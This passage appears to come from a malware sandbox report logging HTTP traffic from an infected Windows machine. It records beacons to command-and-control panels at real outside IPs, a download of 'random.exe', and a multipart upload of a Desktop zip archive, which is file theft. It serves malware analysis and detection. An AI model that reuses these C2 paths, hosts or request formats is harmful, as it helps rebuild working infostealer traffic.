Dec 14, 2024 14:57:26.821446896 CET	95	OUT	Data Raw: 16 03 01 00 5a 01 00 00 56 03 01 67 5d 8e c5 c6 76 ba d4 61 fe d2 79 e8 bf d9 67 04 1c 95 7f ad 9a bd f4 3e 69 7f bb 05 d2 96 95 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 1f 00 0a 00 08 00 06 00 1d 00 17 00 18 00 0b 00 02 01 00 Data Ascii: ZVg]vayg>i5/#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50161	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:27.395808935 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:27.526216030 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:29.156677961 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	50162	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:27.890968084 CET	173	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 14, 2024 14:57:29.234215021 CET	198	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50169	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:29.383105993 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:29.503268957 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:30.926914930 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50170	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:29.665481091 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:57:31.021110058 CET	299	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 64 0d 0a 20 3c 63 3e 31 30 31 35 32 30 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 33 37 61 39 65 34 64 31 35 65 66 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d <c>1015208001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc37a9e4d15ef02ab5e45425197d1aa1daaa8#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	50171	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:30.243335009 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 14, 2024 14:57:31.835958004 CET	711	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 66 36 66 36 30 32 35 66 35 35 66 37 38 39 37 65 64 61 37 62 63 65 33 32 35 31 38 61 64 32 63 39 31 32 66 32 63 31 38 34 65 63 62 66 33 34 66 62 64 35 66 65 39 36 63 31 65 30 66 62 65 37 66 36 37 33 2d 31 2d 5f 32 5f 64 62 63 63 63 39 36 31 35 36 32 64 66 35 61 39 35 64 38 36 37 64 63 65 36 32 32 37 63 38 66 65 39 65 36 63 63 63 61 61 38 34 65 64 39 33 33 37 66 63 61 61 65 38 64 30 66 62 38 39 38 32 65 39 62 61 32 36 36 37 38 39 62 33 30 38 36 61 38 33 39 38 38 61 2d 32 2d 5f 33 5f 61 37 65 36 63 36 31 32 32 39 35 64 64 36 62 61 37 30 63 63 30 63 62 62 33 36 37 62 62 35 61 64 63 36 31 64 65 36 66 31 38 30 65 64 38 32 33 66 61 33 66 38 64 66 61 35 66 66 66 64 65 30 65 37 63 34 31 35 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_daf6f6025f55f7897eda7bce32518ad2c912f2c184ecbf34fbd5fe96c1e0fbe7f673-1-_2_dbccc961562df5a95d867dce6227c8fe9e6cccaa84ed9337fcaae8d0fb8982e9ba266789b3086a83988a-2-_3_a7e6c612295dd6ba70cc0cbb367bb5adc61de6f180ed823fa3f8dfa5fffde0e7c415-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	50172	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:30.244959116 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 14, 2024 14:57:31.709305048 CET	711	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 66 36 66 36 30 32 35 66 35 35 66 37 38 39 37 65 64 61 37 62 63 65 33 32 35 31 38 61 64 32 63 39 31 32 66 32 63 31 38 34 65 63 62 66 33 34 66 62 64 35 66 65 39 36 63 31 65 30 66 62 65 37 66 36 37 33 2d 31 2d 5f 32 5f 64 62 63 63 63 39 36 31 35 36 32 64 66 35 61 39 35 64 38 36 37 64 63 65 36 32 32 37 63 38 66 65 39 65 36 63 63 63 61 61 38 34 65 64 39 33 33 37 66 63 61 61 65 38 64 30 66 62 38 39 38 32 65 39 62 61 32 36 36 37 38 39 62 33 30 38 36 61 38 33 39 38 38 61 2d 32 2d 5f 33 5f 61 37 65 36 63 36 31 32 32 39 35 64 64 36 62 61 37 30 63 63 30 63 62 62 33 36 37 62 62 35 61 64 63 36 31 64 65 36 66 31 38 30 65 64 38 32 33 66 61 33 66 38 64 66 61 35 66 66 66 64 65 30 65 37 63 34 31 35 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_daf6f6025f55f7897eda7bce32518ad2c912f2c184ecbf34fbd5fe96c1e0fbe7f673-1-_2_dbccc961562df5a95d867dce6227c8fe9e6cccaa84ed9337fcaae8d0fb8982e9ba266789b3086a83988a-2-_3_a7e6c612295dd6ba70cc0cbb367bb5adc61de6f180ed823fa3f8dfa5fffde0e7c415-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50175	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:31.173690081 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:31.293910980 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:32.857037067 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50176	31.41.244.11	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:31.181494951 CET	146	OUT	GET /files/hell911/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Thu, 12 Dec 2024 23:33:40 GMT If-None-Match: "675b72d4-289a00"
Dec 14, 2024 14:57:32.561655045 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:32 GMT Last-Modified: Thu, 12 Dec 2024 23:33:40 GMT Connection: keep-alive ETag: "675b72d4-289a00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50181	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:33.088665962 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:33.226305008 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:34.627023935 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50184	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:34.879103899 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:35.006761074 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:36.544229984 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:35 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50185	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:35.166659117 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 32 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015208001&unit=246122658369
Dec 14, 2024 14:57:36.517677069 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50186	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:36.775177002 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:36.895382881 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:38.427894115 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	50187	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:37.711426020 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 14, 2024 14:57:39.131751060 CET	711	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 66 36 66 36 30 32 35 66 35 35 66 37 38 39 37 65 64 61 37 62 63 65 33 32 35 31 38 61 64 32 63 39 31 32 66 32 63 31 38 34 65 63 62 66 33 34 66 62 64 35 66 65 39 36 63 31 65 30 66 62 65 37 66 36 37 33 2d 31 2d 5f 32 5f 64 62 63 63 63 39 36 31 35 36 32 64 66 35 61 39 35 64 38 36 37 64 63 65 36 32 32 37 63 38 66 65 39 65 36 63 63 63 61 61 38 34 65 64 39 33 33 37 66 63 61 61 65 38 64 30 66 62 38 39 38 32 65 39 62 61 32 36 36 37 38 39 62 33 30 38 36 61 38 33 39 38 38 61 2d 32 2d 5f 33 5f 61 37 65 36 63 36 31 32 32 39 35 64 64 36 62 61 37 30 63 63 30 63 62 62 33 36 37 62 62 35 61 64 63 36 31 64 65 36 66 31 38 30 65 64 38 32 33 66 61 33 66 38 64 66 61 35 66 66 66 64 65 30 65 37 63 34 31 35 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_daf6f6025f55f7897eda7bce32518ad2c912f2c184ecbf34fbd5fe96c1e0fbe7f673-1-_2_dbccc961562df5a95d867dce6227c8fe9e6cccaa84ed9337fcaae8d0fb8982e9ba266789b3086a83988a-2-_3_a7e6c612295dd6ba70cc0cbb367bb5adc61de6f180ed823fa3f8dfa5fffde0e7c415-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50188	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:38.303369045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:57:39.675615072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	50189	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:38.530942917 CET	169	OUT	POST /7vhfjke3/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NjE1Mw== Host: 185.81.68.147 Content-Length: 6313 Cache-Control: no-cache
Dec 14, 2024 14:57:38.532321930 CET	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 6a 45 31 4d 77 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NjE1Mw==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Dec 14, 2024 14:57:38.532321930 CET	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Dec 14, 2024 14:57:38.532372952 CET	8	OUT	Data Raw: 08 00 1c 52 44 57 19 a3 Data Ascii: RDW
Dec 14, 2024 14:57:38.532372952 CET	8	OUT	Data Raw: 19 73 86 02 00 00 02 04 Data Ascii: s
Dec 14, 2024 14:57:38.532373905 CET	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Dec 14, 2024 14:57:38.532373905 CET	8	OUT	Data Raw: 69 6c 65 73 5f 5c 42 4a Data Ascii: iles_\BJ
Dec 14, 2024 14:57:38.532403946 CET	8	OUT	Data Raw: 5a 46 50 50 57 41 50 54 Data Ascii: ZFPPWAPT
Dec 14, 2024 14:57:38.532403946 CET	8	OUT	Data Raw: 2e 64 6f 63 78 15 93 49 Data Ascii: .docxI
Dec 14, 2024 14:57:38.532426119 CET	8	OUT	Data Raw: 8e 40 21 08 44 f7 9d f4 Data Ascii: @!D
Dec 14, 2024 14:57:38.532443047 CET	8	OUT	Data Raw: a1 10 bf 38 82 f3 74 ff Data Ascii: 8t
Dec 14, 2024 14:57:40.076951981 CET	198	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:39 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50190	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:38.689737082 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:38.819874048 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:40.498574972 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:39 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50193	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:40.726700068 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:40.847101927 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:42.369585037 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	50199	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:41.411272049 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:57:42.778275013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	50204	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:42.562794924 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 14, 2024 14:57:43.976241112 CET	711	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 66 36 66 36 30 32 35 66 35 35 66 37 38 39 37 65 64 61 37 62 63 65 33 32 35 31 38 61 64 32 63 39 31 32 66 32 63 31 38 34 65 63 62 66 33 34 66 62 64 35 66 65 39 36 63 31 65 30 66 62 65 37 66 36 37 33 2d 31 2d 5f 32 5f 64 62 63 63 63 39 36 31 35 36 32 64 66 35 61 39 35 64 38 36 37 64 63 65 36 32 32 37 63 38 66 65 39 65 36 63 63 63 61 61 38 34 65 64 39 33 33 37 66 63 61 61 65 38 64 30 66 62 38 39 38 32 65 39 62 61 32 36 36 37 38 39 62 33 30 38 36 61 38 33 39 38 38 61 2d 32 2d 5f 33 5f 61 37 65 36 63 36 31 32 32 39 35 64 64 36 62 61 37 30 63 63 30 63 62 62 33 36 37 62 62 35 61 64 63 36 31 64 65 36 66 31 38 30 65 64 38 32 33 66 61 33 66 38 64 66 61 35 66 66 66 64 65 30 65 37 63 34 31 35 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_daf6f6025f55f7897eda7bce32518ad2c912f2c184ecbf34fbd5fe96c1e0fbe7f673-1-_2_dbccc961562df5a95d867dce6227c8fe9e6cccaa84ed9337fcaae8d0fb8982e9ba266789b3086a83988a-2-_3_a7e6c612295dd6ba70cc0cbb367bb5adc61de6f180ed823fa3f8dfa5fffde0e7c415-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	50205	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
